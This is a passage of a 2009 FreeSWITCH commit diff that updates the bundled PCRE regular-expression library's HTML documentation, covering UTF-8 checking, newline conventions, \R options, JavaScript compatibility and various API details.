+The excluded code points are the "Low Surrogate Area" of Unicode, of which the
+Unicode Standard says this: "The Low Surrogate Area does not contain any
+character assignments, consequently no character code charts or namelists are
+provided for this area. Surrogates are reserved for use with UTF-16 and then
+must be used in pairs." The code points that are encoded by UTF-16 pairs are
+available as independent code points in the UTF-8 encoding. (In other words,
+the whole surrogate thing is a fudge for UTF-16 which unfortunately messes up
+UTF-8.)
 </P>
 <P>
-1. When you set the PCRE_UTF8 flag, the strings passed as patterns and subjects
-are checked for validity on entry to the relevant functions. If an invalid
-UTF-8 string is passed, an error return is given. In some situations, you may
-already know that your strings are valid, and therefore want to skip these
-checks in order to improve performance. If you set the PCRE_NO_UTF8_CHECK flag
-at compile time or at run time, PCRE assumes that the pattern or subject it
-is given (respectively) contains only valid UTF-8 codes. In this case, it does
-not diagnose an invalid UTF-8 string. If you pass an invalid UTF-8 string to
-PCRE when PCRE_NO_UTF8_CHECK is set, the results are undefined. Your program
-may crash.
+If an invalid UTF-8 string is passed to PCRE, an error return
+(PCRE_ERROR_BADUTF8) is given. In some situations, you may already know that
+your strings are valid, and therefore want to skip these checks in order to
+improve performance. If you set the PCRE_NO_UTF8_CHECK flag at compile time or
+at run time, PCRE assumes that the pattern or subject it is given
+(respectively) contains only valid UTF-8 codes. In this case, it does not
+diagnose an invalid UTF-8 string.
 </P>
 <P>
-2. An unbraced hexadecimal escape sequence (such as \xb3) matches a two-byte
+If you pass an invalid UTF-8 string when PCRE_NO_UTF8_CHECK is set, what
+happens depends on why the string is invalid. If the string conforms to the
+"old" definition of UTF-8 (RFC 2279), it is processed as a string of characters
+in the range 0 to 0x7FFFFFFF. In other words, apart from the initial validity
+test, PCRE (when in UTF-8 mode) handles strings according to the more liberal
+rules of RFC 2279. However, if the string does not even conform to RFC 2279,
+the result is undefined. Your program may crash.
+</P>
+<P>
+If you want to process strings of values in the full range 0 to 0x7FFFFFFF,
+encoded in a UTF-8-like manner as per the old RFC, you can set
+PCRE_NO_UTF8_CHECK to bypass the more restrictive test. However, in this
+situation, you will have to apply your own validity check.
+</P>
+<br><b>
+General comments about UTF-8 mode
+</b><br>
+<P>
+1. An unbraced hexadecimal escape sequence (such as \xb3) matches a two-byte
 UTF-8 character if the value is greater than 127.
 </P>
 <P>
-3. Octal numbers up to \777 are recognized, and match two-byte UTF-8
+2. Octal numbers up to \777 are recognized, and match two-byte UTF-8
 characters for values greater than \177.
 </P>
 <P>
-4. Repeat quantifiers apply to complete UTF-8 characters, not to individual
+3. Repeat quantifiers apply to complete UTF-8 characters, not to individual
 bytes, for example: \x{100}{3}.
 </P>
 <P>
-5. The dot metacharacter matches one UTF-8 character instead of a single byte.
+4. The dot metacharacter matches one UTF-8 character instead of a single byte.
 </P>
 <P>
-6. The escape sequence \C can be used to match a single byte in UTF-8 mode,
+5. The escape sequence \C can be used to match a single byte in UTF-8 mode,
 but its use can lead to some strange effects. This facility is not available in
 the alternative matching function, <b>pcre_dfa_exec()</b>.
 </P>
 <P>
-7. The character escapes \b, \B, \d, \D, \s, \S, \w, and \W correctly
+6. The character escapes \b, \B, \d, \D, \s, \S, \w, and \W correctly
 test characters of any code value, but the characters that PCRE recognizes as
 digits, spaces, or word characters remain the same set as before, all with
 values less than 256. This remains true even when PCRE includes Unicode
 property support, because to do otherwise would slow down PCRE in many common
 cases. If you really want to test for a wider sense of, say, "digit", you
-must use Unicode property tests such as \p{Nd}.
+must use Unicode property tests such as \p{Nd}. Note that this also applies to
+\b, because it is defined in terms of \w and \W.
 </P>
 <P>
-8. Similarly, characters that match the POSIX named character classes are all
+7. Similarly, characters that match the POSIX named character classes are all
 low-valued characters.
 </P>
 <P>
+8. However, the Perl 5.10 horizontal and vertical whitespace matching escapes
+(\h, \H, \v, and \V) do match all the appropriate Unicode characters.
+</P>
+<P>
 9. Case-insensitive matching applies only to characters whose values are less
 than 128, unless PCRE is built with Unicode property support. Even when Unicode
 property support is available, PCRE still uses its own character tables when
@@ -236,17 +285,22 @@
 <P>
 Philip Hazel
 <br>
-University Computing Service,
+University Computing Service
 <br>
-Cambridge CB2 3QG, England.
+Cambridge CB2 3QH, England.
+<br>
 </P>
 <P>
 Putting an actual email address here seems to have been a spam magnet, so I've
-taken it away. If you want to email me, use my initial and surname, separated
-by a dot, at the domain ucs.cam.ac.uk.
-Last updated: 05 June 2006
+taken it away. If you want to email me, use my two initials, followed by the
+two digits 10, at the domain cam.ac.uk.
+</P>
+<br><a name="SEC6" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 11 April 2009
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,8 +27,9 @@
 DESCRIPTION
 </b><br>
 <P>
-This function compiles a regular expression into an internal form. Its
-arguments are:
+This function compiles a regular expression into an internal form. It is the
+same as <b>pcre_compile2()</b>, except for the absence of the <i>errorcodeptr</i>
+argument. Its arguments are:
 <pre>
   <i>pattern</i>       A zero-terminated string containing the
                   regular expression to be compiled
@@ -40,34 +41,42 @@
 </pre>
 The option bits are:
 <pre>
-  PCRE_ANCHORED         Force pattern anchoring
-  PCRE_AUTO_CALLOUT     Compile automatic callouts
-  PCRE_CASELESS         Do caseless matching
-  PCRE_DOLLAR_ENDONLY   $ not to match newline at end
-  PCRE_DOTALL           . matches anything including NL
-  PCRE_DUPNAMES         Allow duplicate names for subpatterns
-  PCRE_EXTENDED         Ignore whitespace and # comments
-  PCRE_EXTRA            PCRE extra features
-                          (not much use currently)
-  PCRE_FIRSTLINE        Force matching to be before newline
-  PCRE_MULTILINE        ^ and $ match newlines within data
-  PCRE_NEWLINE_CR       Set CR as the newline sequence
-  PCRE_NEWLINE_CRLF     Set CRLF as the newline sequence
-  PCRE_NEWLINE_LF       Set LF as the newline sequence
-  PCRE_NO_AUTO_CAPTURE  Disable numbered capturing paren-
-                          theses (named ones available)
-  PCRE_UNGREEDY         Invert greediness of quantifiers
-  PCRE_UTF8             Run in UTF-8 mode
-  PCRE_NO_UTF8_CHECK    Do not check the pattern for UTF-8
-                          validity (only relevant if
-                          PCRE_UTF8 is set)
+  PCRE_ANCHORED           Force pattern anchoring
+  PCRE_AUTO_CALLOUT       Compile automatic callouts
+  PCRE_BSR_ANYCRLF        \R matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE        \R matches all Unicode line endings
+  PCRE_CASELESS           Do caseless matching
+  PCRE_DOLLAR_ENDONLY     $ not to match newline at end
+  PCRE_DOTALL             . matches anything including NL
+  PCRE_DUPNAMES           Allow duplicate names for subpatterns
+  PCRE_EXTENDED           Ignore whitespace and # comments
+  PCRE_EXTRA              PCRE extra features
+                            (not much use currently)
+  PCRE_FIRSTLINE          Force matching to be before newline
+  PCRE_JAVASCRIPT_COMPAT  JavaScript compatibility
+  PCRE_MULTILINE          ^ and $ match newlines within data
+  PCRE_NEWLINE_ANY        Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF    Recognize CR, LF, and CRLF as newline
+                            sequences
+  PCRE_NEWLINE_CR         Set CR as the newline sequence
+  PCRE_NEWLINE_CRLF       Set CRLF as the newline sequence
+  PCRE_NEWLINE_LF         Set LF as the newline sequence
+  PCRE_NO_AUTO_CAPTURE    Disable numbered capturing paren-
+                            theses (named ones available)
+  PCRE_UNGREEDY           Invert greediness of quantifiers
+  PCRE_UTF8               Run in UTF-8 mode
+  PCRE_NO_UTF8_CHECK      Do not check the pattern for UTF-8
+                            validity (only relevant if
+                            PCRE_UTF8 is set)
 </pre>
 PCRE must be built with UTF-8 support in order to use PCRE_UTF8 and
 PCRE_NO_UTF8_CHECK.
 </P>
 <P>
 The yield of the function is a pointer to a private data structure that
-contains the compiled pattern, or NULL if an error was detected.
+contains the compiled pattern, or NULL if an error was detected. Note that
+compiling regular expressions with one version of PCRE for use with a different
+version is not guaranteed to work and may cause crashes.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile2.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile2.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_compile2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -56,6 +56,8 @@
                           (not much use currently)
   PCRE_FIRSTLINE        Force matching to be before newline
   PCRE_MULTILINE        ^ and $ match newlines within data
+  PCRE_NEWLINE_ANY      Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR       Set CR as the newline sequence
   PCRE_NEWLINE_CRLF     Set CRLF as the newline sequence
   PCRE_NEWLINE_LF       Set LF as the newline sequence
@@ -72,7 +74,9 @@
 </P>
 <P>
 The yield of the function is a pointer to a private data structure that
-contains the compiled pattern, or NULL if an error was detected.
+contains the compiled pattern, or NULL if an error was detected. Note that
+compiling regular expressions with one version of PCRE for use with a different
+version is not guaranteed to work and may cause crashes.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_config.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_config.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_config.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,7 +38,15 @@
   PCRE_CONFIG_MATCH_LIMIT   Internal resource limit
   PCRE_CONFIG_MATCH_LIMIT_RECURSION
                             Internal recursion depth limit
-  PCRE_CONFIG_NEWLINE       Value of the newline sequence
+  PCRE_CONFIG_NEWLINE       Value of the default newline sequence:
+                                13 (0x000d)    for CR
+                                10 (0x000a)    for LF
+                              3338 (0x0d0a)    for CRLF
+                                -2             for ANYCRLF
+                                -1             for ANY
+  PCRE_CONFIG_BSR           Indicates what \R matches by default:
+                                 0             all Unicode line endings
+                                 1             CR, LF, or CRLF only
   PCRE_CONFIG_POSIX_MALLOC_THRESHOLD
                             Threshold of return slots, above
                               which <b>malloc()</b> is used by

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_copy_substring.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_copy_substring.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_copy_substring.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,7 +37,7 @@
   <i>buffer</i>        Buffer to receive the string
   <i>buffersize</i>    Size of buffer
 </pre>
-The yield is the legnth of the string, PCRE_ERROR_NOMEMORY if the buffer was
+The yield is the length of the string, PCRE_ERROR_NOMEMORY if the buffer was
 too small, or PCRE_ERROR_NOSUBSTRING if the string number is invalid.
 </P>
 <P>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_dfa_exec.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_dfa_exec.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_dfa_exec.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -29,9 +29,9 @@
 </b><br>
 <P>
 This function matches a compiled regular expression against a given subject
-string, using a DFA matching algorithm (<i>not</i> Perl-compatible). Note that
-the main, Perl-compatible, matching function is <b>pcre_exec()</b>. The
-arguments for this function are:
+string, using an alternative matching algorithm that scans the subject string
+just once (<i>not</i> Perl-compatible). Note that the main, Perl-compatible,
+matching function is <b>pcre_exec()</b>. The arguments for this function are:
 <pre>
   <i>code</i>         Points to the compiled pattern
   <i>extra</i>        Points to an associated <b>pcre_extra</b> structure,
@@ -49,12 +49,17 @@
 The options are:
 <pre>
   PCRE_ANCHORED      Match only at the first position
+  PCRE_BSR_ANYCRLF   \R matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE   \R matches all Unicode line endings
+  PCRE_NEWLINE_ANY   Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR    Set CR as the newline sequence
   PCRE_NEWLINE_CRLF  Set CRLF as the newline sequence
   PCRE_NEWLINE_LF    Set LF as the newline sequence
   PCRE_NOTBOL        Subject is not the beginning of a line
   PCRE_NOTEOL        Subject is not the end of a line
   PCRE_NOTEMPTY      An empty string is not a valid match
+  PCRE_NO_START_OPTIMIZE  Do not do "start-match" optimizations
   PCRE_NO_UTF8_CHECK Do not check the subject for UTF-8
                        validity (only relevant if PCRE_UTF8
                        was set at compile time)
@@ -62,8 +67,8 @@
   PCRE_DFA_SHORTEST  Return only the shortest match
   PCRE_DFA_RESTART   This is a restart after a partial match
 </pre>
-There are restrictions on what may appear in a pattern when matching using the
-DFA algorithm is requested. Details are given in the
+There are restrictions on what may appear in a pattern when using this matching
+function. Details are given in the
 <a href="pcrematching.html"><b>pcrematching</b></a>
 documentation.
 </P>
@@ -79,7 +84,7 @@
 </pre>
 The flag bits are PCRE_EXTRA_STUDY_DATA, PCRE_EXTRA_MATCH_LIMIT,
 PCRE_EXTRA_MATCH_LIMIT_RECURSION, PCRE_EXTRA_CALLOUT_DATA, and
-PCRE_EXTRA_TABLES. For DFA matching, the <i>match_limit</i> and
+PCRE_EXTRA_TABLES. For this matching function, the <i>match_limit</i> and
 <i>match_limit_recursion</i> fields are not used, and must not be set.
 </P>
 <P>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_exec.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_exec.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_exec.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -45,19 +45,26 @@
 The options are:
 <pre>
   PCRE_ANCHORED      Match only at the first position
+  PCRE_BSR_ANYCRLF   \R matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE   \R matches all Unicode line endings
+  PCRE_NEWLINE_ANY   Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR    Set CR as the newline sequence
   PCRE_NEWLINE_CRLF  Set CRLF as the newline sequence
   PCRE_NEWLINE_LF    Set LF as the newline sequence
   PCRE_NOTBOL        Subject is not the beginning of a line
   PCRE_NOTEOL        Subject is not the end of a line
   PCRE_NOTEMPTY      An empty string is not a valid match
+  PCRE_NO_START_OPTIMIZE  Do not do "start-match" optimizations
   PCRE_NO_UTF8_CHECK Do not check the subject for UTF-8
                        validity (only relevant if PCRE_UTF8
                        was set at compile time)
   PCRE_PARTIAL       Return PCRE_ERROR_PARTIAL for a partial match
 </pre>
 There are restrictions on what may appear in a pattern when partial matching is
-requested.
+requested. For details, see the
+<a href="pcrepartial.html"><b>pcrepartial</b></a>
+page.
 </P>
 <P>
 A <b>pcre_extra</b> structure contains the following fields:

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_fullinfo.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_fullinfo.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_fullinfo.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,13 +42,14 @@
                               -1 for start of string
                                  or after newline, or
                               -2 otherwise
-  PCRE_INFO_FIRSTTABLE      Table of first bytes
-                              (after studying)
+  PCRE_INFO_FIRSTTABLE      Table of first bytes (after studying)
+  PCRE_INFO_JCHANGED        Return 1 if (?J) or (?-J) was used
   PCRE_INFO_LASTLITERAL     Literal last byte required
   PCRE_INFO_NAMECOUNT       Number of named subpatterns
   PCRE_INFO_NAMEENTRYSIZE   Size of name table entry
   PCRE_INFO_NAMETABLE       Pointer to name table
-  PCRE_INFO_OPTIONS         Options used for compilation
+  PCRE_INFO_OKPARTIAL       Return 1 if partial matching can be tried
+  PCRE_INFO_OPTIONS         Option bits used for compilation
   PCRE_INFO_SIZE            Size of compiled pattern
   PCRE_INFO_STUDYSIZE       Size of study data
 </pre>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_named_substring.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_named_substring.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_named_substring.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,9 +39,10 @@
   <i>stringptr</i>     Where to put the string pointer
 </pre>
 The memory in which the substring is placed is obtained by calling
-<b>pcre_malloc()</b>. The yield of the function is the length of the extracted
-substring, PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained, or
-PCRE_ERROR_NOSUBSTRING if the string name is invalid.
+<b>pcre_malloc()</b>. The convenience function <b>pcre_free_substring()</b> can
+be used to free it when it is no longer needed. The yield of the function is
+the length of the extracted substring, PCRE_ERROR_NOMEMORY if sufficient memory
+could not be obtained, or PCRE_ERROR_NOSUBSTRING if the string name is invalid.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringnumber.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringnumber.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringnumber.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,10 @@
   <i>name</i>    Name whose number is required
 </pre>
 The yield of the function is the number of the parenthesis if the name is
-found, or PCRE_ERROR_NOSUBSTRING otherwise.
+found, or PCRE_ERROR_NOSUBSTRING otherwise. When duplicate names are allowed
+(PCRE_DUPNAMES is set), it is not defined which of the numbers is returned by
+<b>pcre_get_stringnumber()</b>. You can obtain the complete list by calling
+<b>pcre_get_stringtable_entries()</b>.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringtable_entries.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringtable_entries.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_stringtable_entries.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,7 +44,7 @@
 There is a complete description of the PCRE native API, including the format of
 the table entries, in the
 <a href="pcreapi.html"><b>pcreapi</b></a>
-page and a description of the POSIX API in the
+page, and a description of the POSIX API in the
 <a href="pcreposix.html"><b>pcreposix</b></a>
 page.
 <p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,9 +37,10 @@
   <i>stringptr</i>     Where to put the string pointer
 </pre>
 The memory in which the substring is placed is obtained by calling
-<b>pcre_malloc()</b>. The yield of the function is the length of the substring,
-PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained, or
-PCRE_ERROR_NOSUBSTRING if the string number is invalid.
+<b>pcre_malloc()</b>. The convenience function <b>pcre_free_substring()</b> can
+be used to free it when it is no longer needed. The yield of the function is
+the length of the substring, PCRE_ERROR_NOMEMORY if sufficient memory could not
+be obtained, or PCRE_ERROR_NOSUBSTRING if the string number is invalid.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring_list.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring_list.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre_get_substring_list.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,10 +35,12 @@
   <i>listptr</i>       Where to put a pointer to the list
 </pre>
 The memory in which the substrings and the list are placed is obtained by
-calling <b>pcre_malloc()</b>. A pointer to a list of pointers is put in
-the variable whose address is in <i>listptr</i>. The list is terminated by a
-NULL pointer. The yield of the function is zero on success or
-PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained.
+calling <b>pcre_malloc()</b>. The convenience function
+<b>pcre_free_substring_list()</b> can be used to free it when it is no longer
+needed. A pointer to a list of pointers is put in the variable whose address is
+in <i>listptr</i>. The list is terminated by a NULL pointer. The yield of the
+function is zero on success or PCRE_ERROR_NOMEMORY if sufficient memory could
+not be obtained.
 </P>
 <P>
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcreapi.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcreapi.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcreapi.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,6 +32,9 @@
 <li><a name="TOC17" href="#SEC17">DUPLICATE SUBPATTERN NAMES</a>
 <li><a name="TOC18" href="#SEC18">FINDING ALL POSSIBLE MATCHES</a>
 <li><a name="TOC19" href="#SEC19">MATCHING A PATTERN: THE ALTERNATIVE FUNCTION</a>
+<li><a name="TOC20" href="#SEC20">SEE ALSO</a>
+<li><a name="TOC21" href="#SEC21">AUTHOR</a>
+<li><a name="TOC22" href="#SEC22">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PCRE NATIVE API</a><br>
 <P>
@@ -140,8 +143,8 @@
 </P>
 <br><a name="SEC2" href="#TOC1">PCRE API OVERVIEW</a><br>
 <P>
-PCRE has its own native API, which is described in this document. There is
-also a set of wrapper functions that correspond to the POSIX regular expression
+PCRE has its own native API, which is described in this document. There are
+also some wrapper functions that correspond to the POSIX regular expression
 API. These are described in the
 <a href="pcreposix.html"><b>pcreposix</b></a>
 documentation. Both of these APIs define a set of C function calls. A C++
@@ -164,15 +167,15 @@
 way of using them is provided in the file called <i>pcredemo.c</i> in the source
 distribution. The
 <a href="pcresample.html"><b>pcresample</b></a>
-documentation describes how to run it.
+documentation describes how to compile and run it.
 </P>
 <P>
 A second matching function, <b>pcre_dfa_exec()</b>, which is not
 Perl-compatible, is also provided. This uses a different algorithm for the
 matching. The alternative algorithm finds all possible matches (at a given
-point in the subject). However, this algorithm does not return captured
-substrings. A description of the two matching algorithms and their advantages
-and disadvantages is given in the
+point in the subject), and scans the subject just once. However, this algorithm
+does not return captured substrings. A description of the two matching
+algorithms and their advantages and disadvantages is given in the
 <a href="pcrematching.html"><b>pcrematching</b></a>
 documentation.
 </P>
@@ -240,20 +243,46 @@
 points during a matching operation. Details are given in the
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation.
-</P>
+<a name="newlines"></a></P>
 <br><a name="SEC3" href="#TOC1">NEWLINES</a><br>
 <P>
-PCRE supports three different conventions for indicating line breaks in
-strings: a single CR character, a single LF character, or the two-character
-sequence CRLF. All three are used as "standard" by different operating systems.
-When PCRE is built, a default can be specified. The default default is LF,
-which is the Unix standard. When PCRE is run, the default can be overridden,
-either when a pattern is compiled, or when it is matched.
-<br>
-<br>
+PCRE supports five different conventions for indicating line breaks in
+strings: a single CR (carriage return) character, a single LF (linefeed)
+character, the two-character sequence CRLF, any of the three preceding, or any
+Unicode newline sequence. The Unicode newline sequences are the three just
+mentioned, plus the single characters VT (vertical tab, U+000B), FF (formfeed,
+U+000C), NEL (next line, U+0085), LS (line separator, U+2028), and PS
+(paragraph separator, U+2029).
+</P>
+<P>
+Each of the first three conventions is used by at least one operating system as
+its standard newline sequence. When PCRE is built, a default can be specified.
+The default default is LF, which is the Unix standard. When PCRE is run, the
+default can be overridden, either when a pattern is compiled, or when it is
+matched.
+</P>
+<P>
+At compile time, the newline convention can be specified by the <i>options</i>
+argument of <b>pcre_compile()</b>, or it can be specified by special text at the
+start of the pattern itself; this overrides any other settings. See the
+<a href="pcrepattern.html"><b>pcrepattern</b></a>
+page for details of the special character sequences.
+</P>
+<P>
 In the PCRE documentation the word "newline" is used to mean "the character or
-pair of characters that indicate a line break".
+pair of characters that indicate a line break". The choice of newline
+convention affects the handling of the dot, circumflex, and dollar
+metacharacters, the handling of #-comments in /x mode, and, when CRLF is a
+recognized line ending sequence, the match position advancement for a
+non-anchored pattern. There is more detail about this in the
+<a href="#execoptions">section on <b>pcre_exec()</b> options</a>
+below.
 </P>
+<P>
+The choice of newline convention does not affect the interpretation of
+the \n or \r escape sequences, nor does it affect what \R matches, which is
+controlled in a similar way, but by separate options.
+</P>
 <br><a name="SEC4" href="#TOC1">MULTITHREADING</a><br>
 <P>
 The PCRE functions can be used in multi-threading applications, with the
@@ -271,7 +300,9 @@
 time, possibly by a different program, and even on a host other than the one on
 which it was compiled. Details are given in the
 <a href="pcreprecompile.html"><b>pcreprecompile</b></a>
-documentation.
+documentation. However, compiling a regular expression with one version of PCRE
+for use with a different version is not guaranteed to work and may cause
+crashes.
 </P>
 <br><a name="SEC6" href="#TOC1">CHECKING BUILD-TIME OPTIONS</a><br>
 <P>
@@ -301,10 +332,19 @@
   PCRE_CONFIG_NEWLINE
 </pre>
 The output is an integer whose value specifies the default character sequence
-that is recognized as meaning "newline". The three values that are supported
-are: 10 for LF, 13 for CR, and 3338 for CRLF. The default should normally be
-the standard sequence for your operating system.
+that is recognized as meaning "newline". The four values that are supported
+are: 10 for LF, 13 for CR, 3338 for CRLF, -2 for ANYCRLF, and -1 for ANY.
+Though they are derived from ASCII, the same values are returned in EBCDIC
+environments. The default should normally correspond to the standard sequence
+for your operating system.
 <pre>
+  PCRE_CONFIG_BSR
+</pre>
+The output is an integer whose value indicates what character sequences the \R
+escape sequence matches by default. A value of 0 means that \R matches any
+Unicode line ending sequence; a value of 1 means that \R matches only CR, LF,
+or CRLF. The default can be overridden when a pattern is compiled or matched.
+<pre>
   PCRE_CONFIG_LINK_SIZE
 </pre>
 The output is an integer that contains the number of bytes used for internal
@@ -323,13 +363,13 @@
 <pre>
   PCRE_CONFIG_MATCH_LIMIT
 </pre>
-The output is an integer that gives the default limit for the number of
+The output is a long integer that gives the default limit for the number of
 internal matching function calls in a <b>pcre_exec()</b> execution. Further
 details are given with <b>pcre_exec()</b> below.
 <pre>
   PCRE_CONFIG_MATCH_LIMIT_RECURSION
 </pre>
-The output is an integer that gives the default limit for the depth of
+The output is a long integer that gives the default limit for the depth of
 recursion when calling the internal matching function in a <b>pcre_exec()</b>
 execution. Further details are given with <b>pcre_exec()</b> below.
 <pre>
@@ -374,16 +414,17 @@
 argument, which is an address (see below).
 </P>
 <P>
-The <i>options</i> argument contains independent bits that affect the
+The <i>options</i> argument contains various bit settings that affect the
 compilation. It should be zero if no options are required. The available
-options are described below. Some of them, in particular, those that are
-compatible with Perl, can also be set and unset from within the pattern (see
-the detailed description in the
+options are described below. Some of them (in particular, those that are
+compatible with Perl, but also some others) can also be set and unset from
+within the pattern (see the detailed description in the
 <a href="pcrepattern.html"><b>pcrepattern</b></a>
-documentation). For these options, the contents of the <i>options</i> argument
-specifies their initial settings at the start of compilation and execution. The
-PCRE_ANCHORED and PCRE_NEWLINE_<i>xxx</i> options can be set at the time of
-matching as well as at compile time.
+documentation). For those options that can be different in different parts of
+the pattern, the contents of the <i>options</i> argument specifies their initial
+settings at the start of compilation and execution. The PCRE_ANCHORED and
+PCRE_NEWLINE_<i>xxx</i> options can be set at the time of matching as well as at
+compile time.
 </P>
 <P>
 If <i>errptr</i> is NULL, <b>pcre_compile()</b> returns NULL immediately.
@@ -440,6 +481,15 @@
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation.
 <pre>
+  PCRE_BSR_ANYCRLF
+  PCRE_BSR_UNICODE
+</pre>
+These options (which are mutually exclusive) control what the \R escape
+sequence matches. The choice is either to match only CR, LF, or CRLF, or to
+match any Unicode newline sequence. The default is specified when PCRE is
+built. It can be overridden from within the pattern, or by setting an option
+when a compiled pattern is matched.
+<pre>
   PCRE_CASELESS
 </pre>
 If this bit is set, letters in the pattern match both upper and lower case
@@ -467,8 +517,8 @@
 including those that indicate newline. Without it, a dot does not match when
 the current position is at a newline. This option is equivalent to Perl's /s
 option, and it can be changed within a pattern by a (?s) option setting. A
-negative class such as [^a] always matches newlines, independent of the setting
-of this option.
+negative class such as [^a] always matches newline characters, independent of
+the setting of this option.
 <pre>
   PCRE_DUPNAMES
 </pre>
@@ -511,6 +561,22 @@
 the first newline in the subject string, though the matched text may continue
 over the newline.
 <pre>
+  PCRE_JAVASCRIPT_COMPAT
+</pre>
+If this option is set, PCRE's behaviour is changed in some ways so that it is
+compatible with JavaScript rather than Perl. The changes are as follows:
+</P>
+<P>
+(1) A lone closing square bracket in a pattern causes a compile-time error,
+because this is illegal in JavaScript (by default it is treated as a data
+character). Thus, the pattern AB]CD becomes illegal when this option is set.
+</P>
+<P>
+(2) At run time, a back reference to an unset subpattern group matches an empty
+string (by default this causes the current matching alternative to fail). A
+pattern such as (\1)(a) succeeds when this option is set (assuming it can find
+an "a" in the subject), whereas it fails by default, for Perl compatibility.
+<pre>
   PCRE_MULTILINE
 </pre>
 By default, PCRE treats the subject string as consisting of a single line of
@@ -531,19 +597,40 @@
   PCRE_NEWLINE_CR
   PCRE_NEWLINE_LF
   PCRE_NEWLINE_CRLF
